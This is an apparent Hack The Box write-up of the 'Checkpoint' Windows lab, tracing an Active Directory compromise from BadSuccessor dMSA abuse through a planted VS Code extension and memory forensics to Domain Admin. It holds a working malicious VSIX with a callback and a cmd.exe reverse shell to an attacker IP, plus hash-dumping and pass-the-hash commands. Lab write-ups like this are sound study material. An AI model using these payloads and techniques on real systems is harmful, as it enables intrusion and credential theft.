HTB Checkpoint writeup
A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”Checkpoint was a Windows Medium box centered on AD enumeration and privilege abuse, but its final stages led through SMB shares, a VS Code extension, a VMware snapshot, and memory forensics.
In short, the route was alex.turner -> mark.davies -> ryan.brooks -> svc_deploy -> VMBackups -> Administrator. AD rights were abused along the way, but immediately before root, the decisive step was methodical enumeration: extracting a hash from a backup and testing whether it had been reused.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Checkpoint |
| Platform | Hack The Box |
| OS | Windows |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”alex.turner / Checkpoint2024! | | LDAP/SMB enumeration | CREATE_CHILD msDS-DelegatedManagedServiceAccount on OU=Employees vBadSuccessor -> mark.davies hash | | mark.davies can write DevDrop vMalicious VSIX in DevDrop | | VS Code loads extension as ryan.brooks vryan.brooks shell | | GenericWrite over svc_deploy vBadSuccessor -> svc_deploy hash | | WinRM + VMBackups READ vDownload Windows Server 2019-Snapshot1.vmem | | Volatility hashdump vLocal Administrator NTLM hash | | Hash reused for CHECKPOINT\Administrator vDomain Admin shell -> root.txtTarget
Section titled “Target”10.129.13.247 DC01.checkpoint.htb checkpoint.htb DC01/etc/hosts:
10.129.13.247 DC01.checkpoint.htb checkpoint.htb DC01I began with an aggressive scan of all ports using Nmap.
nmap -sS -A -p- --min-rate 10000 10.129.13.247 > checkpoint.nmapThe full checkpoint.nmap output follows.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-14 04:08 +0900Nmap scan report for 10.129.13.247Host is up (0.43s latency).Not shown: 65514 filtered tcp ports (no-response)PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-14 02:08:31Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ldapssl?3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)3269/tcp open globalcatLDAPssl?5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf .NET Message Framing49664/tcp open msrpc Microsoft Windows RPC49668/tcp open msrpc Microsoft Windows RPC49670/tcp open msrpc Microsoft Windows RPC49673/tcp open msrpc Microsoft Windows RPC49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049677/tcp open msrpc Microsoft Windows RPC49703/tcp open msrpc Microsoft Windows RPC49712/tcp open msrpc Microsoft Windows RPCWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning (JUST GUESSING): Microsoft Windows 2022 (88%)OS CPE: cpe:/o:microsoft:windows_server_2022Aggressive OS guesses: Microsoft Windows Server 2022 (88%)No exact OS matches for host (test conditions non-ideal).Network Distance: 2 hopsService Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:| smb2-time:| date: 2026-06-14T02:09:41|_ start_date: N/A| smb2-security-mode:| 3.1.1:|_ Message signing enabled and required|_clock-skew: 6h59m58s
TRACEROUTE (using port 445/tcp)HOP RTT ADDRESS1 373.29 ms 10.10.16.12 558.11 ms 10.129.13.247
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 147.63 secondsThe key observations from this Nmap scan were:
- The combination of
53/88/389/445/464/3268/9389strongly indicated an AD DC. - Ports
389and3268reportedDomain: checkpoint.htb, providing the domain name and an entry point for LDAP enumeration. - Port
5985was open, so WinRM was worth trying once valid credentials were available. - Ports
636/3269were labeledldapssl?/globalcatLDAPssl?, but subsequent TLS handshakes were reset. I did not assume LDAPS would be reliable. smb2-security-modeshowed signing required. I focused on valid credentials, Kerberos, and LDAP rather than NTLM relay.clock-skew: 6h59m58swas critical. It could break Kerberos tools and affect BloodHound/RustHound.- The only web-facing port was WinRM’s HTTPAPI on
5985, so this was not an ordinary web application foothold.
The clocks differed by about seven hours.
smb2-time date: 2026-06-14T02:09:41clock-skew: 6h59m58sI used faketime for commands that used Kerberos.
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' <command>faketime '+7h' was not interpreted correctly in this environment, so I used '+7 hours'.
Initial Credentials
Section titled “Initial Credentials”alex.turner / Checkpoint2024!Initial Enumeration
Section titled “Initial Enumeration”SMB.
netexec smb 10.129.13.247 -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' --sharesImportant results:
DevDrop READ VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0IPC$ READNETLOGON READSYSVOL READVMBackupsAs alex.turner, I had only READ access to DevDrop and could not use VMBackups.
WinRM was also unavailable.
netexec winrm 10.129.13.247 -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!'[-] checkpoint.htb\alex.turner:Checkpoint2024!AS-REP roasting and ordinary Kerberoasting yielded nothing initially.
GetUserSPNs.py checkpoint.htb/alex.turner:'Checkpoint2024!' \ -dc-ip 10.129.13.247 -request -outputfile kerberoast.hashes
GetNPUsers.py checkpoint.htb/alex.turner:'Checkpoint2024!' \ -dc-ip 10.129.13.247 -request -outputfile asrep.hashesNo entries found!LDAP and Group Enumeration
Section titled “LDAP and Group Enumeration”I enumerated users, groups, and computers.
netexec ldap 10.129.13.247 -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' --users --groups --computersNotable users:
alex.turnerryan.brookssvc_deploy Deployment service accountmax.palmerI checked svc_deploy’s memberships.
netexec ldap 10.129.13.247 -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ --query "(sAMAccountName=svc_deploy)" \ "sAMAccountName memberOf description userAccountControl"description Deployment service accountmemberOf CN=BackupAccess,OU=ServiceAccounts,DC=checkpoint,DC=htb CN=Remote Management Users,CN=Builtin,DC=checkpoint,DC=htbuserAccountControl 66048sAMAccountName svc_deployAt this point, svc_deploy looked promising. Its Remote Management Users membership suggested that WinRM might work if I obtained its credentials. BackupAccess would later lead to the VMBackups share.
Groups of interest:
netexec ldap 10.129.13.247 -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ --query "(|(cn=DevTeam)(cn=IT-Staff)(cn=VPN-Users)(cn=Domain Admins)(cn=Group Policy Creator Owners))" \ "cn member"Important results:
DevTeam: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IT-Staff: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
VPN-Users: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
Domain Admins: CN=max.palmer,CN=Users,DC=checkpoint,DC=htb CN=Administrator,CN=Users,DC=checkpoint,DC=htb
Group Policy Creator Owners: CN=Administrator,CN=Users,DC=checkpoint,DC=htbThe fact that max.palmer was in Domain Admins remained a useful clue to the end. I ultimately reached root through reuse of an Administrator hash instead of through max.palmer.
BloodHound / RustHound
Section titled “BloodHound / RustHound”BloodHound initially failed after falling back to LDAPS. The cause was clock skew.
Failed to get Kerberos TGT ... KRB_AP_ERR_SKEW(Clock skew too great)LDAP Authentication is refused because LDAP signing is enabled.Trying to connect over LDAPS instead...socket ssl wrapping error: [Errno 104] Connection reset by peerThe sequence was:
- The tool tried Kerberos.
- Clock skew caused it to fail.
- It fell back to NTLM LDAP.
- LDAP signing requirements caused that to be rejected.
- It fell back to LDAPS.
- LDAPS/GCSSL then failed because the connection was reset.
The right response was to correct the Kerberos clock skew rather than repair LDAPS.
RustHound initially failed to resolve the realm as well.
Cannot find KDC for realm "CHECKPOINT.HTB"Collection succeeded after adjusting /etc/hosts, the Kerberos configuration, and faketime.
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb \ -u alex.turner@checkpoint.htb -k -zThe important BloodHound/RustHound findings were:
alex.turner: Could CREATE_CHILD msDS-DelegatedManagedServiceAccount under OU=Employees
ryan.brooks: Had GenericWrite over svc_deploy
svc_deploy: Remote Management Users BackupAccess
max.palmer: Domain AdminsAD CS Is a Dead End
Section titled “AD CS Is a Dead End”A hint mentioned AD CS/ESC in general terms, but testing showed it was a dead end.
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \certipy find -k \ -target DC01.checkpoint.htb \ -dc-ip 10.129.13.247 \ -ldap-scheme ldap \ -stdout -vulnerable -debug[*] Found 0 certificate templates[*] Found 0 certificate authorities[*] Found 0 enabled certificate templatesCertificate Authorities : [!] Could not find any CAsCertificate Templates : [!] Could not find any certificate templatesI checked again after obtaining svc_deploy.
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \certipy find \ -u svc_deploy@checkpoint.htb \ -hashes :e16081eb077aca74bdbf8af12af43ac9 \ -dc-ip 10.129.13.247 \ -target DC01.checkpoint.htb \ -ldap-scheme ldap \ -stdout -vulnerable[*] Found 0 certificate templates[*] Found 0 certificate authoritiesCertificate Authorities : [!] Could not find any CAsCertificate Templates : [!] Could not find any certificate templatesPKINIT also failed.
KDC_ERR_PADATA_TYPE_NOSUPPwinPEAS reported the following as well.
Certificate Authority not found. Skipping.No templates with dangerous rights found (checked 0).Obtaining mark.davies via BadSuccessor
Section titled “Obtaining mark.davies via BadSuccessor”alex.turner could create a dMSA under OU=Employees.
msDS-DelegatedManagedServiceAccount: CREATE_CHILDI first tried BadSuccessor against mark.davies.
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ add badSuccessor checkpoint-mark \ -t 'CN=mark.davies,OU=Employees,DC=checkpoint,DC=htb' \ --ou 'OU=Employees,DC=checkpoint,DC=htb'Automatic retrieval failed with KDC_ERR_ETYPE_NOTSUPP, but the dMSA and target link had been created.
CN=checkpoint-mark,OU=Employees,DC=checkpoint,DC=htbmsDS-SupersededServiceAccountState: 2msDS-SupersededManagedAccountLink: CN=checkpoint-mark,OU=Employees,DC=checkpoint,DC=htbI used badS4U2self manually.
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \badS4U2self \ 'kerberos+pw://checkpoint.htb\alex.turner:Checkpoint2024%21@10.129.13.247/?etype=18&dns=10.129.13.247' \ 'krbtgt/checkpoint.htb@checkpoint.htb' \ 'checkpoint-mark$@checkpoint.htb' \ --dmsa --ccache checkpoint-mark.ccache -vThe resulting key:
dMSA current keys:AES256: 4c07c662152bbabd0f6fb315a37285090de20b0dfb9f9960973eb896d7520b13AES128: e2343d27056dbac43b4848097025b2a7RC4: 24e91eda5448004829cbde8bcde949a7
dMSA previous keys:RC4: 0b28e49d9deb96f99d74578e214faec2The RC4 value under previous keys worked as the NTLM hash for mark.davies.
netexec smb DC01.checkpoint.htb -d checkpoint.htb \ -u mark.davies -H 0b28e49d9deb96f99d74578e214faec2 --sharesImportant results:
[+] checkpoint.htb\mark.davies:0b28e49d9deb96f99d74578e214faec2DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0VMBackupsmark.davies could not use WinRM and was denied access to VMBackups. Write access to DevDrop, however, provided the next foothold.
DevDrop and Malicious VSIX
Section titled “DevDrop and Malicious VSIX”The description of DevDrop was quite specific.
VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0It suggested that placing a .vsix file there might cause someone’s VS Code to load it.
I first used an extension that only called back to identify the execution account.
package.json:
{ "name": "checkpoint-tools-2", "displayName": "Checkpoint Tools 2", "version": "1.0.1", "publisher": "checkpoint", "engines": { "vscode": "^1.118.0" }, "activationEvents": ["*", "onStartupFinished"], "extensionKind": ["workspace"], "main": "./extension.js", "categories": ["Other"]}extension.js:
const os = require('os');const http = require('http');
function activate() { const msg = `host=${os.hostname()} user=${os.userInfo().username} time=${new Date().toISOString()}\n`; http.get('http://10.10.16.45:8000/vsix?' + encodeURIComponent(msg)).on('error', () => {});}
function deactivate() {}module.exports = { activate, deactivate };I packaged it.
npx --yes @vscode/vsce packageI uploaded it to DevDrop as mark.davies.
smbclient //DC01.checkpoint.htb/DevDrop \ -U 'checkpoint.htb/mark.davies%0b28e49d9deb96f99d74578e214faec2' \ --pw-nt-hash -m SMB3 \ -c 'put checkpoint-tools-2-1.0.1.vsix'HTTP callback.
GET /vsix?host=DC01 user=ryan.brooks time=2026-06-14T06:52:49.154ZThe VSIX ran as ryan.brooks.
I then replaced it with a reverse-shell version.
const net = require('net');const cp = require('child_process');
function connect() { const s = net.connect(4444, '10.10.16.45', () => { const sh = cp.spawn('cmd.exe', [], { windowsHide: true, stdio: ['pipe', 'pipe', 'pipe'] }); s.pipe(sh.stdin); sh.stdout.pipe(s); sh.stderr.pipe(s); sh.on('exit', () => s.end()); });
s.on('error', () => setTimeout(connect, 10000)); s.on('close', () => setTimeout(connect, 10000));}
function activate() { connect();}
function deactivate() {}module.exports = { activate, deactivate };Listener.
rlwrap -cAr nc -lvnp 4444I obtained a shell as ryan.brooks and retrieved the user flag.
type C:\Users\ryan.brooks\Desktop\user.txtRyan Brooks Enumeration
Section titled “Ryan Brooks Enumeration”I also investigated ryan.brooks’s profile.
dir "%APPDATA%\Code\User\globalStorage" /s /bC:\Users\ryan.brooks\AppData\Roaming\Code\User\globalStorage\state.vscdbC:\Users\ryan.brooks\AppData\Roaming\Code\User\globalStorage\state.vscdb.backupBecause state.vscdb was locked, I copied it with read sharing.
$src=Join-Path $env:APPDATA 'Code\User\globalStorage\state.vscdb'$dst=Join-Path $env:TEMP 'state.vscdb.copy'$in=[IO.File]::Open($src,[IO.FileMode]::Open,[IO.FileAccess]::Read,[IO.FileShare]::ReadWrite)$out=[IO.File]::Open($dst,[IO.FileMode]::Create,[IO.FileAccess]::Write,[IO.FileShare]::None)$in.CopyTo($out)$out.Close()$in.Close()I searched it.
$p=Join-Path $env:TEMP 'state.vscdb.copy'$s=[Text.Encoding]::UTF8.GetString([IO.File]::ReadAllBytes($p))$s -split '[\x00-\x1f]+' | ? {$_ -match 'svc_deploy|password|passwd|pwd|backup|deploy|secret|token|credential|winrm|vmbackup'} | select -First 80This yielded no usable credentials. The VS Code path served to obtain the shell.
BadSuccessor to svc_deploy
Section titled “BadSuccessor to svc_deploy”BloodHound showed that ryan.brooks had GenericWrite over svc_deploy.
Running BadSuccessor against svc_deploy as alex.turner alone created the dMSA but failed when updating attributes on svc_deploy.
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \bloodyAD --host DC01.checkpoint.htb -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ add badSuccessor checkpoint-svc \ -t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb' \ --ou 'OU=Employees,DC=checkpoint,DC=htb'[+] Creating DMSA checkpoint-svc$ in OU=Employees,DC=checkpoint,DC=htb[+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htbLDAPModifyException: insufficientAccessRights for CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htbThe dMSA itself had been created.
netexec ldap DC01.checkpoint.htb -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ --query '(sAMAccountName=checkpoint-svc$)' \ 'distinguishedName msDS-ManagedAccountPrecededByLink msDS-DelegatedMSAState'distinguishedName CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htbmsDS-DelegatedMSAState 2msDS-ManagedAccountPrecededByLink CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htbI therefore updated svc_deploy’s attributes manually from the ryan.brooks shell.
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'$u.PutEx(2,'msDS-SupersededManagedAccountLink',@('CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htb'))$u.Put('msDS-SupersededServiceAccountState',2)$u.SetInfo()I verified the change.
netexec ldap DC01.checkpoint.htb -d checkpoint.htb \ -u alex.turner -p 'Checkpoint2024!' \ --query '(sAMAccountName=svc_deploy)' \ 'msDS-SupersededManagedAccountLink msDS-SupersededServiceAccountState'msDS-SupersededServiceAccountState 2msDS-SupersededManagedAccountLink CN=checkpoint-svc,OU=Employees,DC=checkpoint,DC=htbI used badS4U2self to obtain the previous key from the dMSA’s TGS.
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \badS4U2self \ 'kerberos+pw://checkpoint.htb\alex.turner:Checkpoint2024%21@10.129.13.247/?etype=18&dns=10.129.13.247' \ 'krbtgt/checkpoint.htb@checkpoint.htb' \ 'checkpoint-svc$@checkpoint.htb' \ --dmsa --ccache checkpoint-svc.ccache -vdMSA current keys:AES256: 408219f3c004ed32c5da3ea25316c477d0881d0e1ceea397be200fa76639c45cAES128: c7cbdb50193478a1ebfd3819af93cc03RC4: 6d094f4755a41b8b08e98f72239d1d77
dMSA previous keys:RC4: e16081eb077aca74bdbf8af12af43ac9The RC4 value under previous keys worked as the NTLM hash for svc_deploy.
netexec winrm DC01.checkpoint.htb -d checkpoint.htb \ -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9[+] checkpoint.htb\svc_deploy:e16081eb077aca74bdbf8af12af43ac9 (Pwn3d!)svc_deploy Enumeration
Section titled “svc_deploy Enumeration”WinRM.
uv run evil-winrm-py -i 10.129.13.247 \ -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9whoami /all.
checkpoint\svc_deploy
Groups: BUILTIN\Remote Management Users CHECKPOINT\BackupAccess
Privileges: SeMachineAccountPrivilege SeChangeNotifyPrivilege SeIncreaseWorkingSetPrivilegeDespite the name BackupAccess, the account lacked SeBackupPrivilege. I therefore treated this as access to a specific share rather than the ability to bypass NTFS and read files on the DC.
SMB shares.
netexec smb DC01.checkpoint.htb -d checkpoint.htb \ -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9 --sharesIPC$ READNETLOGON READSYSVOL READVMBackups READVMBackups
Section titled “VMBackups”I accessed VMBackups as svc_deploy.
smbclient //DC01.checkpoint.htb/VMBackups \ -U 'checkpoint.htb/svc_deploy%e16081eb077aca74bdbf8af12af43ac9' \ --pw-nt-hash -m SMB3smb: \> lsNightlyBackup_2024-11-01
smb: \> cd NightlyBackup_2024-11-01smb: \NightlyBackup_2024-11-01\> lsmemory forensics
smb: \NightlyBackup_2024-11-01\> cd "memory forensics"smb: \NightlyBackup_2024-11-01\memory forensics\> lsWindows Server 2019-000001.vmdk 106496000Windows Server 2019-Snapshot1.vmem 2147483648Windows Server 2019-Snapshot1.vmsn 138164859Windows Server 2019.nvram 270840Windows Server 2019.scoreboard 7642Windows Server 2019.vmdk 10199695360Windows Server 2019.vmsd 502Windows Server 2019.vmx 2749Windows Server 2019.vmxf 274The directory name memory forensics and the .vmem file were the likely lead. Windows Server 2019.vmdk was 10 GB, making it unlikely that the intended path required everyone to download the base disk. I downloaded .vmem first.
Downloads of the large file were unstable with smbclient and evil-winrm, so I used an SMB downloader that supported resuming.
python3 smb_range_get.py \ --target DC01.checkpoint.htb --host 10.129.13.247 \ --domain checkpoint.htb -u svc_deploy \ -H e16081eb077aca74bdbf8af12af43ac9 \ --share VMBackups \ --remote 'NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem' \ --output 'vmbackup/Windows Server 2019-Snapshot1.vmem' \ --chunk 1048576 \ --timeout 600The smb_range_get.py I used follows.
#!/usr/bin/env python3import argparseimport ntpathimport osimport sysimport time
from impacket.smbconnection import SMBConnectiontry: from impacket.smb3structs import ( FILE_ATTRIBUTE_NORMAL, FILE_NON_DIRECTORY_FILE, FILE_OPEN, FILE_READ_DATA, FILE_SHARE_DELETE, FILE_SHARE_READ, FILE_SHARE_WRITE, )except ImportError: FILE_READ_DATA = 0x00000001 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 FILE_SHARE_DELETE = 0x00000004 FILE_NON_DIRECTORY_FILE = 0x00000040 FILE_OPEN = 0x00000001 FILE_ATTRIBUTE_NORMAL = 0x00000080
def parse_hashes(value): if not value: return "", "" if ":" in value: lmhash, nthash = value.split(":", 1) return lmhash, nthash return "aad3b435b51404eeaad3b435b51404ee", value
def connect(args): conn = SMBConnection( remoteName=args.target, remoteHost=args.host or args.target, sess_port=args.port, timeout=args.timeout, ) lmhash, nthash = parse_hashes(args.hashes) conn.login(args.username, args.password or "", args.domain, lmhash, nthash) return conn
def remote_size(conn, share, remote_path): directory = ntpath.dirname(remote_path) or "\\" basename = ntpath.basename(remote_path) pattern = ntpath.join(directory, basename) matches = conn.listPath(share, pattern) for item in matches: if item.get_longname().lower() == basename.lower(): return item.get_filesize() raise FileNotFoundError(remote_path)
def main(): parser = argparse.ArgumentParser(description="Resume-friendly SMB file downloader") parser.add_argument("--target", required=True, help="SMB server name, e.g. DC01.checkpoint.htb") parser.add_argument("--host", help="SMB server IP/host if different from --target") parser.add_argument("--domain", default="", help="Domain name") parser.add_argument("-u", "--username", required=True) parser.add_argument("-p", "--password", default="") parser.add_argument("-H", "--hashes", default="", help="NT hash or LM:NT") parser.add_argument("--share", required=True) parser.add_argument("--remote", required=True, help="Remote path inside share") parser.add_argument("--output", required=True) parser.add_argument("--chunk", type=int, default=1024 * 1024, help="Read chunk size") parser.add_argument("--timeout", type=int, default=60) parser.add_argument("--port", type=int, default=445) parser.add_argument("--sleep", type=float, default=2.0) args = parser.parse_args()
remote_path = args.remote.replace("/", "\\").lstrip("\\") os.makedirs(os.path.dirname(os.path.abspath(args.output)) or ".", exist_ok=True)
conn = connect(args) size = remote_size(conn, args.share, remote_path) conn.logoff()
offset = os.path.getsize(args.output) if os.path.exists(args.output) else 0 if offset > size: raise RuntimeError(f"local file is larger than remote file: {offset} > {size}")
while offset < size: conn = None try: conn = connect(args) tid = conn.connectTree(args.share) fid = conn.openFile( tid, remote_path, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN, fileAttributes=FILE_ATTRIBUTE_NORMAL, ) with open(args.output, "ab") as out: while offset < size: want = min(args.chunk, size - offset) data = conn.readFile(tid, fid, offset, want) if not data: raise RuntimeError("empty read") out.write(data) offset += len(data) pct = offset * 100 / size print(f"\r{offset}/{size} bytes ({pct:.2f}%)", end="", flush=True) conn.closeFile(tid, fid) conn.disconnectTree(tid) conn.logoff() except KeyboardInterrupt: print("\nInterrupted", file=sys.stderr) raise except Exception as exc: print(f"\n[!] {type(exc).__name__}: {exc}; retrying from offset {offset}", file=sys.stderr) try: if conn: conn.logoff() except Exception: pass time.sleep(args.sleep)
print()
if __name__ == "__main__": main()As a side note, Windows Server 2019-000001.vmdk was a delta VMDK whose descriptor named a parent disk.
parentFileNameHint="Windows Server 2019.vmdk"Without the base VMDK, it was difficult to use as a disk chain.
Volatility
Section titled “Volatility”I ran Volatility 3 against .vmem.
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.infoVolatility 3 Framework 2.28.1Major/Minor 15.17763NtProductType NtProductServerSystemTime 2026-05-09 14:08:58+00:00NtSystemRoot C:\WindowsI checked the processes.
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.pslist | rg -i 'lsass|winlogon|explorer|powershell|cmd'winlogon.exelsass.exeexplorer.exeI checked the sessions.
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.sessionsImportant results:
WORKGROUP/WIN-0DG6SJAEUTA$WIN-0DG6SJAEUTA/Administrator
1 Console 1304 explorer.exe WIN-0DG6SJAEUTA/AdministratorThis .vmem contained memory from a workgroup Windows Server 2019 VM named WIN-0DG6SJAEUTA, not the checkpoint.htb DC. Administrator was logged in.
Registry hives were also present in memory.
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.registry.hivelist\SystemRoot\System32\Config\SAM\SystemRoot\System32\Config\SECURITY\SystemRoot\System32\Config\SYSTEM\??\C:\Users\Administrator\ntuser.datHashdump.
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.hashdumpOr, with the newer plugin name:
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.registry.hashdumpThe result:
User rid lmhash nthashAdministrator 500 aad3b435b51404eeaad3b435b51404ee f29e9c014295b9b32139b09a2790be3bGuest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 28f8d934dee90b2ec824351cb0844479cachedump returned nothing.
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.cachedumplsadump showed only DPAPI_SYSTEM and NL$KM, with no direct domain credentials.
vol -f 'vmbackup/Windows Server 2019-Snapshot1.vmem' windows.lsadumpThe important finding was the NTLM hash for Administrator.
f29e9c014295b9b32139b09a2790be3bThis was the local hash for WIN-0DG6SJAEUTA\Administrator, but it had been reused for CHECKPOINT\Administrator on the DC.
Root via Hash Reuse
Section titled “Root via Hash Reuse”I tested it over SMB first.
netexec smb DC01.checkpoint.htb -d checkpoint.htb \ -u Administrator -H f29e9c014295b9b32139b09a2790be3b[+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)WinRM also worked.
netexec winrm DC01.checkpoint.htb -d checkpoint.htb \ -u Administrator -H f29e9c014295b9b32139b09a2790be3b[+] checkpoint.htb\Administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)Evil-WinRM.
uv run evil-winrm-py -i 10.129.13.247 \ -u Administrator -H f29e9c014295b9b32139b09a2790be3bC:\Users\Administrator\Desktop was empty; root.txt was not there.
cd C:\Users\Administrator\Desktoptype root.txtCannot find path 'C:\Users\Administrator\Desktop\root.txt' because it does not exist.I checked the identity to be sure.
whoami /allcheckpoint\administrator
Groups: BUILTIN\Administrators CHECKPOINT\Domain Admins CHECKPOINT\Schema Admins CHECKPOINT\Enterprise Admins
Privileges: SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeTakeOwnershipPrivilege ...Domain Admin rights were confirmed. The flag was in another profile.
Get-ChildItem C:\Users -ForceAdministratormax.palmerPublicryan.brookssvc_deployI searched for root.txt.
Get-ChildItem C:\Users -Filter root.txt -Recurse -Force -ErrorAction SilentlyContinue | Select-Object FullNameC:\Users\max.palmer\Desktop\root.txtI retrieved it.
type C:\Users\max.palmer\Desktop\root.txt[REDACTED]Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”Ports 636 and 3269 appeared open, but the handshake was reset.
openssl s_client -connect 10.129.13.247:3269 \ -servername DC01.checkpoint.htb -showcerts </dev/nullno peer certificate availableSSL handshake has read 0 byteswrite:errno=104BloodHound’s LDAPS fallback failure was a symptom; the root cause was Kerberos clock skew.
I saw Certificate Service DCOM Access and other certificate-related strings, but there was no CA or template. I ruled out ESC paths.
Kerberoast
Section titled “Kerberoast”I also tried setting an SPN on svc_deploy from ryan.brooks to Kerberoast it.
I ran the command from the VSIX.
const cmd = 'setspn.exe -S http/checkpoint-vsix svc_deploy';I obtained a TGS.
FAKETIME_DONT_FAKE_MONOTONIC=1 faketime '+7 hours' \impacket-GetUserSPNs checkpoint.htb/alex.turner:'Checkpoint2024!' \ -dc-ip 10.129.13.247 \ -dc-host DC01.checkpoint.htb \ -request-user svc_deploy \ -outputfile svc_deploy.hashServicePrincipalName Name MemberOfhttp/checkpoint-vsix svc_deploy CN=BackupAccess,OU=ServiceAccounts,DC=checkpoint,DC=htbI changed msDS-SupportedEncryptionTypes to try to obtain an RC4 TGS, but rockyou did not crack it.
$u=[ADSI]'LDAP://CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'$u.Put('msDS-SupportedEncryptionTypes',4)$u.SetInfo()hashcat -m 13100 svc_deploy_rc4.hash /usr/share/wordlists/rockyou.txtStatus...........: ExhaustedRecovered........: 0/1This was not on the final path.
svc_deploy local privesc
Section titled “svc_deploy local privesc”winPEAS showed the following, but svc_deploy was not a local administrator.
CredentialGuard is not enabledLSA Protection is not enabledcachedlogonscount is 10DefaultUserName: ryan.brooksmax.palmer: User Type AdministratorDefaultPassword was empty, and the account lacked SeBackupPrivilege. Reading VMBackups was the main path, rather than local privilege escalation.
Machine certificate
Section titled “Machine certificate”winPEAS detected a machine certificate.
Issuer : CN=dc01.checkpoint.htbSubject : CN=dc01.checkpoint.htbHasPrivateKey : TrueKeyExportable : TrueThumbprint : F6F448711CBD3E6424F88B0072DEE6152045F180Exporting it as svc_deploy, however, returned an error that the keyset did not exist.
certutil -store My F6F448711CBD3E6424F88B0072DEE6152045F180certutil -exportPFX My F6F448711CBD3E6424F88B0072DEE6152045F180 C:\Users\svc_deploy\Documents\dc01.pfxMissing stored keysetCertUtil: -exportPFX command FAILED: 0x80090016 NTE_BAD_KEYSETCertUtil: Keyset does not existSince AD CS and PKINIT were dead ends too, I did not pursue it.
Cleanup Notes
Section titled “Cleanup Notes”If restoring the state after testing, check the following.
The SPN added to svc_deploy:
setspn -D http/checkpoint-vsix svc_deployIf msDS-SupportedEncryptionTypes was changed on svc_deploy, restore its original empty value.
